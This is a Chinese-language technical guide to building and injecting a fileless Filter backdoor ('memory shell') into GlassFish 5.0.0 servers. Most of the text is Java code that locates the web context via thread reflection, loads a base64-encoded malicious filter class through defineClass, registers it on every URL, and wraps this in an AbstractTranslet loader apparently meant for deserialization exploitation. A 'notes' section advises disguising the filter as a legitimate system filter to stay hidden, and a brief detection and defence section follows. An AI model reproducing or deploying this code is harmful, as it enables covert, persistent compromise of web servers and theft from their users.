GlassFish内存马分析与实现指南

1. GlassFish Filter内存马概述

GlassFish内存马是一种在Java Web容器中动态注入恶意Filter的技术，通过修改GlassFish服务器的运行时内存结构，实现持久化的后门访问。本文详细分析GlassFish 5.0.0版本中Filter内存马的实现原理和具体实现方法。

2. 环境准备

• GlassFish 5.0.0服务器
• Java开发环境
• 调试工具（如IDEA）
• 反序列化利用工具

3. Filter运行机制分析

3.1 Filter调用流程

1. 请求到达StandardWrapperValve:invoke()方法
2. 调用filterChain.doFilter(hreq, hres)
3. filterChain通过createFilterChain方法生成

关键调用栈：

StandardWrapperValve:invoke() 
→ createFilterChain 
→ ApplicationFilterChain.doFilter()

3.2 FilterChain生成过程

createFilterChain方法核心逻辑：

ApplicationFilterChain filterChain = factory.createFilterChain(
    (ServletRequest)request, wrapper, servlet);

if (servlet != null) {
    StandardContext context = (StandardContext)wrapper.getParent();
    List<FilterMap> filterMaps = context.findFilterMaps();
    // 遍历filterMaps进行匹配
    // 将匹配的FilterConfig添加到filterChain
}

关键点：

• 从StandardContext获取filterMaps
• 通过findFilterConfig获取FilterConfig
• 将匹配的Filter添加到filterChain

4. 关键数据结构

4.1 StandardContext中的关键属性

1. filterConfigs：存储Filter名称与FilterConfig的映射
2. filterDefs：存储Filter定义信息
3. filterMaps：存储URL模式与Filter的映射关系

4.2 数据结构关系

StandardContext
├─ filterConfigs: Map<String, ApplicationFilterConfig>
├─ filterDefs: Map<String, FilterDef>
└─ filterMaps: List<FilterMap>

5. 内存马注入原理

注入内存马需要完成以下操作：

1. 获取当前Web应用的WebModule（继承自StandardContext）
2. 创建恶意的FilterDef并添加到filterDefs
3. 创建ApplicationFilterConfig并添加到filterConfigs
4. 创建FilterMap并添加到filterMaps

6. 具体实现步骤

6.1 获取WebModule上下文

public static WebModule getWebModule() throws Exception {
    Thread thread = Thread.currentThread();
    Object group = getField(thread, "group");
    Thread[] threads = (Thread[])getField(group, "threads");
    
    for (Thread t : threads) {
        if (t.getName().contains("ContainerBackgroundProcessor") 
            && t.getName().contains("StandardHost")) {
            Object target = getField(t, "target");
            return (WebModule)getField(target, "this$0");
        }
    }
    return null;
}

注意：GlassFish可能有多个WebModule，需确保获取的是目标应用的上下文。

6.2 动态加载恶意Filter类

private static void loadFilter() throws Exception {
    try {
        Thread.currentThread().getContextClassLoader()
            .loadClass(filterClassName).newInstance();
    } catch (Exception e) {
        // 使用defineClass动态加载
        Method defineClass = ClassLoader.class.getDeclaredMethod(
            "defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
        defineClass.setAccessible(true);
        byte[] b = new BASE64Decoder().decodeBuffer("恶意filter.class|base64");
        defineClass.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
    }
}

6.3 注入Filter

private static void injectFilter(WebModule webModule) throws Exception {
    // 1. 创建FilterDef
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName(filterName);
    filterDef.setFilterClass(恶意Filter类);
    
    // 2. 创建ApplicationFilterConfig
    Constructor<?> constructor = ApplicationFilterConfig.class
        .getDeclaredConstructors()[0];
    constructor.setAccessible(true);
    Object filterConfig = constructor.newInstance(webModule, filterDef);
    
    // 3. 添加到filterConfigs
    Map filterConfigs = (Map)getField(webModule, "filterConfigs");
    filterConfigs.put(filterName, filterConfig);
    
    // 4. 创建并添加FilterMap
    FilterMap filterMap = new FilterMap();
    filterMap.setURLPattern(urlPattern);
    filterMap.setFilterName(filterName);
    HashSet<DispatcherType> set = new HashSet();
    set.add(DispatcherType.REQUEST);
    filterMap.setDispatcherTypes(set);
    
    webModule.addFilterDef(filterDef);
    webModule.addFilterMap(filterMap);
}

7. 完整内存马实现

public class GlassFishFilterLoader extends AbstractTranslet {
    private static final String filterName = "MaliciousFilter";
    private static final String filterClassName = "com.example.MaliciousFilter";
    private static final String urlPattern = "/*";
    
    public GlassFishFilterLoader() {
        try {
            loadFilter();
            WebModule webModule = getWebModule();
            injectFilter(webModule);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    // 包含上述所有方法...
    
    static {
        new GlassFishFilterLoader();
    }
    
    // Translet方法...
}

8. 注意事项

1. 线程安全：所有方法应声明为synchronized避免并发问题
2. 目标选择：确保获取正确的WebModule上下文
3. 路径匹配：注入的URL模式要确保能捕获目标请求
4. 隐蔽性：Filter名称应伪装成系统合法Filter
5. 兼容性：不同GlassFish版本可能有差异，需测试调整

9. 检测与防御

检测方法：

1. 检查StandardContext中的filterConfigs是否有可疑Filter
2. 监控动态类加载行为
3. 检查异常线程活动

防御措施：

1. 禁用不必要的动态类加载功能
2. 定期检查服务器内存中的Filter配置
3. 使用安全加固的GlassFish版本
4. 实施严格的访问控制

10. 总结

GlassFish内存马通过操纵内存中的Filter相关数据结构实现持久化驻留，关键技术点包括：

1. 获取WebModule上下文
2. 动态加载恶意Filter类
3. 操纵filterDefs、filterConfigs和filterMaps
4. 确保Filter能拦截目标请求

理解这些原理不仅有助于安全研究人员分析内存马，也能帮助管理员更好地防御此类攻击。